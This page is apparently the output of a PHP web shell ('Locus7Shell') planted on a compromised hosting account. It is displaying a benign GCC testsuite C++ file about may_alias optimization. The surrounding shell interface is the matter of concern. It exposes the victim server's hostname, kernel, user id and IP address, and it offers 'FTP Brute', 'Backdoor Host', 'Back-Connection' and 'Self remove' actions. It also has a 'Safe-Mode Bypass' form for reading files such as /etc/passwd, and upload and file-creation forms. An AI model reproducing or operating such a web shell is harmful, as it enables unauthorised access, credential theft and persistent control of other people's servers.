Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/torture/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr40924.C (2.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR rtl-optimization/40924
// { dg-do run }

extern "C" void abort (void);

#define MAY_ALIAS __attribute__((__may_alias__))

typedef struct { float v[2]; } floata;
typedef struct { int v[2]; } inta;

typedef unsigned int uint MAY_ALIAS;
typedef signed int sint MAY_ALIAS;
typedef float flt MAY_ALIAS;

static inline unsigned short
less_than (inta a, inta b)
{
  unsigned short r = 0;
  const uint *p1 = (const uint *) &a;
  const uint *p2 = (const uint *) &b;
  for (int i=0; i < 2; i++)
    if (p1[i] < p2[i]) r |= (1 << i);
  return r;
}

static inline inta
multiply (inta b, inta c)
{
  inta r;
  sint *p3 = (sint *) &c;
  for (int i=0; i < 2; i++)
    r.v[i] = (int) (b.v[i] * p3[i] & 0xFFFFFFFF);
  return r;
}

static inline floata
gather (inta indexes, const void *baseAddr)
{
  floata r;

  sint *idx = (sint *) &indexes;
  flt *src = (flt *) baseAddr;
  for (int i=0; i < 2; i++)
    r.v[i] = *(src + idx[i]);
  return r;
}

static inline inta
add (const inta &b, const inta &c)
{
  inta result;
  sint *r = (sint *) &result;

  for (int i=0; i < 2; i++)
    r[i] = b.v[i] + c.v[i];
  return result;
}

struct uintv
{
  inta data;
  inline uintv () { data.v[0] = 0; data.v[1] = 1; }
  inline uintv (unsigned int a)
  {
    for (int i=0; i < 2; i++)
      *(uint *) &data.v[i] = a;
  }
  inline uintv (inta x) : data (x) {}
  inline uintv operator* (const uintv &x) const
  { return multiply (data, x.data); }
  inline uintv operator+ (const uintv &x) const
  { return uintv (add (data, x.data)); }
  inline unsigned short operator< (const uintv &x) const
  { return less_than (data, x.data); }
};

struct floatv
{
  floata data;
  explicit inline floatv (const uintv &x)
  {
    uint *p2 = (uint *) &x.data;
    for (int i=0; i < 2; i++)
      data.v[i] = p2[i];
  }
  inline floatv (const float *array, const uintv &indexes)
  {
    const uintv &offsets = indexes * uintv (1);
    data = gather (offsets.data, array);
  }
  unsigned short operator== (const floatv &x) const
  {
    unsigned short r = 0;
    for (int i=0; i < 2; i++)
      if (data.v[i] == x.data.v[i]) r |= (1 << i);
    return r;
  }
};

int
main ()
{
  const float array[2] = { 2, 3 };
  for (uintv i; (i < 2) == 3; i = i + 2)
    {
      const floatv ii (i + 2);
      floatv a (array, i);
      if ((a == ii) != 3)
    abort ();
    }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--